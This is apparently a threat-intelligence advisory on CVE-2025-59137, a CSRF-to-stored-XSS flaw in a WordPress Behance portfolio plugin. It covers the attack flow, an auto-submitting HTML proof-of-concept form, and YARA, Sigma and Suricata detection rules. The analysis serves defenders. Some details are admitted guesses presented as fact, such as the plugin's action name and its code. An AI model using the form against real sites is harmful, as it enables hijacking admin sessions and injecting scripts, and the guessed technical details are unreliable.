CVE-2025-59137

Executive Summary

CVE-2025-59137 is a Cross-Site Request Forgery (CSRF) vulnerability in the Eleopard Behance Portfolio Manager WordPress plugin (versions up to and including 1.7.5). This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vector is compounded by a Stored Cross-Site Scripting (XSS) component, meaning an attacker can force the admin to save persistent JavaScript payloads that execute for all visitors. The vendor has not released a patch, leaving all installations of the plugin vulnerable.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Since the plugin is unpatched, any site using it is at risk. The supply chain risk is elevated because the plugin is a third-party component integrated into WordPress, and the lack of a patch means site owners must either self-patch or remove the plugin entirely.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be tricked into clicking a link)
• Scope: Changed (XSS can affect other users)
• Confidentiality Impact: Low (potential data theft via XSS)
• Integrity Impact: Low (malicious settings or content injection)
• Availability Impact: None

The threat level is High due to the combination of CSRF and Stored XSS, which can lead to persistent defacement, credential theft, or further compromise of the WordPress admin session.

Deep Dive & Mechanics

The vulnerability resides in the portfolio-manager-powered-by-behance plugin. The plugin fails to implement CSRF tokens on administrative actions, such as saving settings or updating portfolio items. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, submits a forged request to the WordPress admin panel.

Because the plugin also does not properly sanitize or escape user-supplied input (e.g., portfolio titles, descriptions, or API keys), the forged request can inject JavaScript code. This code is stored in the database and executed when any user views the affected portfolio page, resulting in Stored XSS.

The attack flow:

1. Attacker identifies a target site running the vulnerable plugin.
2. Attacker crafts a CSRF payload that includes a Stored XSS payload (e.g., <script>alert('XSS')</script>).
3. Attacker lures an authenticated admin to visit a page containing the CSRF payload (e.g., via a phishing email or malicious link).
4. The admin's browser sends the forged request, which the plugin processes without validating a CSRF token.
5. The XSS payload is stored and executed for all visitors.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The plugin likely uses functions like update_option() or save_post() without checking a nonce.

Vulnerable Code (PHP):

// No nonce verification
if (isset($_POST['behance_api_key'])) {
    update_option('behance_api_key', $_POST['behance_api_key']);
}

Patched Code (Hypothetical):

// Proper nonce verification
if (isset($_POST['behance_api_key']) && wp_verify_nonce($_POST['_wpnonce'], 'behance_settings')) {
    update_option('behance_api_key', sanitize_text_field($_POST['behance_api_key']));
}

The patched version would include a nonce check and input sanitization to prevent both CSRF and XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the Behance Portfolio Manager plugin (<=1.7.5) installed and an admin logged in.
• A web server to host the CSRF payload.

Step 1: Craft the CSRF + XSS Payload Create an HTML file (csrf_exploit.html) that submits a forged request to the WordPress admin panel.

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="behance_save_settings">
    <input type="hidden" name="behance_api_key" value="<script>alert('XSS')</script>">
    <input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server and send the link to the target admin via email or social engineering.

Step 3: Verify After the admin visits the link, check if the XSS payload executes on the portfolio page.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action=behance_save_settings from non-admin IPs.
• Look for JavaScript payloads in plugin settings or portfolio fields.

Mitigation:

• Disable or remove the plugin immediately.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
• Use a Content Security Policy (CSP) to prevent inline script execution.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=behance_save_settings and suspicious parameters.
  • Referer headers from external domains (e.g., attacker-controlled sites).
• File System:
  • Modified wp_options table entries containing JavaScript code (e.g., behance_api_key option).
• Logs:
  • WordPress debug logs showing unexpected input in plugin settings.
  • Web server access logs with unusual POST requests to admin endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_59137_CSRF_XSS {
    meta:
        description = "Detects CSRF + Stored XSS payloads targeting Behance Portfolio Manager"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-59137"
    strings:
        $csrf_action = "behance_save_settings"
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $csrf_action and $xss_payload
}

Sigma Rule

title: CVE-2025-59137 - CSRF to Stored XSS in Behance Portfolio Manager
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to admin-post.php with action behance_save_settings containing script tags
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=behance_save_settings'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin actions (unlikely with script tags)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59137 - CSRF to Stored XSS in Behance Portfolio Manager"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=behance_save_settings"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete portfolio-manager-powered-by-behance from the WordPress admin panel.
2. Scan for compromise – Check the wp_options table for malicious entries and review user roles for unauthorized changes.
3. Apply a virtual patch – Use a WAF to block requests to admin-post.php without a valid nonce.

Long-Term Fix:

• Since no vendor patch exists, consider migrating to an alternative Behance portfolio plugin that is actively maintained.
• Implement CSRF tokens and input sanitization in any custom code.
• Regularly audit WordPress plugins for known vulnerabilities.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.